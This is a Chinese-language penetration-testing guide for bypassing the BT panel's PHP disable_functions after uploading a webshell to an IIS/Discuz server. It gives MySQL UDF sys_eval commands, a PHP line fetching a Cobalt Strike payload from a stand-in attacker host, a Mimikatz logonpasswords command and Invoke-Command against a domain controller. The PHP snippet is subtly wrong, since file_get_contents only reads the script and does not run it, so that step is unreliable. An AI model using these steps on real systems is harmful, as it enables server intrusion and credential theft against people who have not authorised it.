宝塔disable functions函数全被禁命令执行+加域服务器如何无限制执行命令
字数 1139 2025-08-15 21:32:39
宝塔面板禁用函数绕过与域服务器无限制命令执行技术指南
环境概述
- 实验环境:Windows Server 2008 R2
- Web环境:宝塔面板搭建的IIS + Discuz 3.2X
- 攻击路径:手动上传Webshell → 冰蝎连接
- 问题发现:连接后发现无法执行系统命令
问题分析
宝塔默认禁用函数
通过phpinfo查看,发现宝塔面板默认禁用了大量PHP函数,几乎涵盖了所有常用的命令执行函数:
disable_functions = system,exec,shell_exec,passthru,proc_open,popen,pcntl_exec,dl,...
常规绕过方法失效
- 直接函数调用:所有命令执行函数均被禁用
- LD_PRELOAD技术:putenv函数被禁用,无法使用
- 其他常见绕过技术:如反引号、create_function等均被禁用
技术解决方案
方案一:MySQL UDF提权
适用条件:
- 拥有MySQL root权限或高权限数据库账户
- MySQL允许自定义函数
实施步骤:
-
导出UDF.dll文件
- 使用暗月提权工具生成对应版本的udf.dll
- 注意不同MySQL版本的导出路径:
- MySQL <5.1:
C:\udf.dll(2000/2003系统) - MySQL >=5.1:MySQL安装目录下的
lib\plugin文件夹
- MySQL <5.1:
-
创建自定义函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; -
执行系统命令
SELECT sys_eval('whoami');
限制:
- 某些环境下执行复杂命令可能导致数据库服务崩溃
- 需要数据库高权限账户
方案二:Cobalt Strike反弹Shell
实施步骤:
-
生成PowerShell payload
- 使用Cobalt Strike 4.1+版本生成payload
- 注意:3.13/3.14版本可能无法正常执行
-
通过Webshell执行PowerShell命令
<?php // 使用未被禁用的函数如file_get_contents执行远程脚本 file_get_contents("http://attacker.com/payload.ps1"); ?> -
获取交互式Shell
- 成功获取普通管理员权限的会话
- 可无限制执行系统命令
方案三:利用Windows域环境特性
发现:
- 在加域服务器上,即使没有域管理员密码,也能执行某些特权操作
- 通过PowerShell可以绕过部分限制
实施方法:
-
使用Mimikatz提取凭据
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"' -
利用PowerShell远程执行
Invoke-Command -ComputerName DC01 -ScriptBlock {whoami}
注意事项
-
环境差异:
- 不同版本的宝塔面板禁用函数列表可能不同
- MySQL提权方法在不同MySQL版本上表现不同
-
防御措施:
- 宝塔面板的严格默认配置有效阻止了常规攻击
- 数据库服务应限制远程访问和高权限账户
-
法律风险:
- 所有技术仅限授权测试使用
- 未经授权测试属于违法行为
总结
本指南展示了在宝塔面板严格限制下的三种有效绕过方法:
- MySQL UDF提权 - 适用于有数据库高权限的情况
- Cobalt Strike反弹 - 获取交互式Shell的有效方法
- 域环境特性利用 - 在特定环境下可绕过部分限制
每种方法都有其适用场景和限制条件,实际渗透测试中需要根据目标环境灵活选择或组合使用。